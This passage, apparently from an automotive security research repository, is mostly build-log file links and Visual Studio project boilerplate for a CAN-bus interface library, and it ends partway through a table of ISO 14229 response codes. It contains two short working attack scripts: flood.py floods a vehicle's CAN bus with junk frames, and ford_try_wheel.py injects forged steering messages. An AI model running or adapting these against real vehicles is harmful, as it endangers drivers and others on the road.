https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8268-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8268-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8268-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8268.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8268.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8268.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8268.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8512-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8512-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8512-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8512-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8512.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8512.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8512.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8512.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8724.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8724.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8816.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8816.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8876.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.8876.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9016.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9016.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9016.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9016.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9288.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9288.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9344.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9344.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9636.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9636.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9760.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9760.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9796.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9796.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9812.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9812.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9840.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9840.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9840.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9840.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9980.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.9980.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.command.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/mt.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/mt.command.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/mt.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/mt.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/mt.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/mt.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/rc.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/rc.command.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/rc.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/rc.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/rc.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/rc.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/stdafx.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/stdafx.obj
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/vc100.idb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/vc100.idb
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/vc100.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/vc100.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | CONSOLE APPLICATION : ecomcat_api Project Overview
3 | ========================================================================
4 |
5 | AppWizard has created this ecomcat_api application for you.
6 |
7 | This file contains a summary of what you will find in each of the files that
8 | make up your ecomcat_api application.
9 |
10 |
11 | ecomcat_api.vcxproj
12 | This is the main project file for VC++ projects generated using an Application Wizard.
13 | It contains information about the version of Visual C++ that generated the file, and
14 | information about the platforms, configurations, and project features selected with the
15 | Application Wizard.
16 |
17 | ecomcat_api.vcxproj.filters
18 | This is the filters file for VC++ projects generated using an Application Wizard.
19 | It contains information about the association between the files in your project
20 | and the filters. This association is used in the IDE to show grouping of files with
21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the
22 | "Source Files" filter).
23 |
24 | ecomcat_api.cpp
25 | This is the main application source file.
26 |
27 | /////////////////////////////////////////////////////////////////////////////
28 | Other standard files:
29 |
30 | StdAfx.h, StdAfx.cpp
31 | These files are used to build a precompiled header (PCH) file
32 | named ecomcat_api.pch and a precompiled types file named StdAfx.obj.
33 |
34 | /////////////////////////////////////////////////////////////////////////////
35 | Other notes:
36 |
37 | AppWizard uses "TODO:" comments to indicate parts of the source code you
38 | should add to or customize.
39 |
40 | /////////////////////////////////////////////////////////////////////////////
41 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/api_file.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "ecommlib.h"
5 |
6 |
7 | // open/close device
8 | __declspec(dllexport) HANDLE open_device(unsigned int baud, unsigned int serial);
9 | __declspec(dllexport) int close_device(HANDLE h);
10 |
11 | // read messages
12 | __declspec(dllexport) SFFMessage *read_message(HANDLE h);
13 | __declspec(dllexport) SFFMessage *read_message_by_wid(HANDLE h, unsigned short wid);
14 | __declspec(dllexport) SFFMessage *read_message_by_wid_get_ack_timeout(HANDLE h, unsigned short wid, BOOL tail_ack, unsigned int timeout);
15 | __declspec(dllexport) SFFMessage *read_message_by_wid_with_timeout(HANDLE h, unsigned short wid, unsigned int timeout);
16 |
17 | // write a single message
18 | __declspec(dllexport) int write_message(HANDLE h, SFFMessage *msg);
19 | __declspec(dllexport) int write_message_cont(HANDLE h, SFFMessage *msg, unsigned int for_time);
20 |
21 | // try to write many messages, all may not be written due to speed of transit...
22 | __declspec(dllexport) int write_messages(HANDLE h, SFFMessage **msgs);
23 | __declspec(dllexport) int write_messages_cont(HANDLE h, SFFMessage **msgs, unsigned int for_time);
24 |
25 | // read/write ISO 15765 data
26 | __declspec(dllexport) char *read_15765_data(HANDLE h, unsigned short wid, unsigned int *len);
27 | __declspec(dllexport) int write_15765_data(HANDLE h, unsigned short wid, char *data, unsigned int len);
28 |
29 | // utility functions
30 | __declspec(dllexport) void PrintSFF(SFFMessage *sff, FILE *fp);
31 | __declspec(dllexport) int DbgLineToSFF(char *line, SFFMessage *sff);
32 | __declspec(dllexport) int write_messages_from_file(HANDLE h, char *filename);
33 | __declspec(dllexport) BYTE SFFChecksum(SFFMessage *sff);
34 | __declspec(dllexport) BYTE FixChecksum(SFFMessage *sff);
35 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/ecomcat_api.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}
15 | Win32Proj
16 | ecomcat_api
17 |
18 |
19 |
20 | DynamicLibrary
21 | true
22 | Unicode
23 |
24 |
25 | Application
26 | false
27 | true
28 | Unicode
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | true
42 |
43 |
44 | false
45 |
46 |
47 |
48 | NotUsing
49 | Level3
50 | Disabled
51 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
52 | false
53 |
54 |
55 | Console
56 | true
57 |
58 |
59 | false
60 |
61 |
62 |
63 |
64 | Level3
65 | Use
66 | MaxSpeed
67 | true
68 | true
69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
70 |
71 |
72 | Console
73 | true
74 | true
75 | true
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 | Create
91 | Create
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/ecomcat_api.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 | Header Files
32 |
33 |
34 |
35 |
36 | Source Files
37 |
38 |
39 | Source Files
40 |
41 |
42 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/ecomcat_api.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/ecommlib.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/ecommlib.lib
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // ecomcat_api.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #include
11 | #include
12 |
13 |
14 |
15 | // TODO: reference additional headers your program requires here
16 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/code/ecomcat_api/flood.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 | import sys
3 |
4 | if len(sys.argv) < 2:
5 | sys.exit(f'Usage: {sys.argv[0]} serialnum')
6 |
7 | # initalize
8 | mydll = CDLL('Debug\\ecomcat_api')
9 | # HS CAN
10 | handle = mydll.open_device(1, int(sys.argv[1]))
11 |
12 | y = pointer(SFFMessage())
13 | mydll.DbgLineToSFF("IDH: 00, IDL: 00, Len: 08, Data: 00 00 00 00 00 00 00 00", y)
14 |
15 | while True:
16 | mydll.write_message_cont(handle, y, 1000)
17 |
18 | mydll.close_device(handle)
19 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ford_try_wheel.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 | import time
3 |
4 |
5 | # initalize
6 | mydll = CDLL('Debug\\ecomcat_api')
7 | # HS CAN
8 | handle = mydll.open_device(1,0)
9 |
10 |
11 | # get current
12 | read_by_wid = mydll.read_message_by_wid_with_timeout
13 | read_by_wid.restype = POINTER(SFFMessage)
14 | z = mydll.read_message_by_wid_with_timeout(handle, 0x80, 1000)
15 | current = (z.contents.data[0]<<8) + z.contents.data[1]
16 | print("Current wheel at %x" % current)
17 | change = 0
18 | y = pointer(SFFMessage())
19 |
20 | while(True):
21 | current += change
22 | change += 12
23 | mydll.DbgLineToSFF("IDH: 00, IDL: 81, Len: 08, Data: %02X %02X 12 00 00 00 00 00" % ((current & 0xff00) >> 8, current & 0xff), y)
24 | mydll.write_message_cont(handle, y)
25 | time.sleep(.0019) # should be 312 ticks
26 |
27 | mydll.close_device(handle)
28 |
--------------------------------------------------------------------------------
/code/ecomcat_api/iso14229.py:
--------------------------------------------------------------------------------
1 | #Negative Response Codes (See Annex A.1 in the ISO doc for full list)
2 | generalReject = 0x10
3 | serviceNotSupported = 0x11
4 | subFunctionNotSupported = 0x12
5 | responseTooLong = 0x14
6 | busyRepeatRequest = 0x21
7 | conditionsNotCorrect = 0x22
8 | requestSequenceError = 0x24
9 | requestOutOfRange = 0x31
10 | securityAccessDenied = 0x33
11 | invalidKey = 0x35
12 | exceedNumberOfAttempts = 0x36
13 | requiredTimeDelayNotExpired = 0x37
14 | uploadDownloadNotAccepted = 0x70
15 | generalProgrammingFailure = 0x72
16 | requestCorrectlyReceived_ResponsePending = 0x78
17 | subFuncionNotSupportedInActiveSession = 0x7E
18 | serviceNotSupportedInActiveSession = 0x7F
19 | rpmTooHigh = 0x81
20 | rpmTooLow = 0x82
21 | engineIsRunning = 0x83
22 | engineIsNotRunning = 0x84
23 | shifterLeverNotInPark = 0x90
24 |
25 | NegRespCode = {
26 | generalReject: ["GR", "General Reject"],
27 | serviceNotSupported: ["SNS", "Service Not Supported"],
28 | subFunctionNotSupported: [
29 | "SFNS",
30 | "Subfunction Not Supported: Service exists but not supported by subfunction",
31 | ],
32 | responseTooLong: ["RTL", "Response Too Long"],
33 | busyRepeatRequest: ["BRR", "Busy Repeat Request"],
34 | conditionsNotCorrect: ["CNC", "Conditions Not Correct"],
35 | requestSequenceError: [
36 | "RSE",
37 | "Request Sequence Error: Server expectes different sequence of request messages",
38 | ],
39 | requestOutOfRange: [
40 | "ROOR",
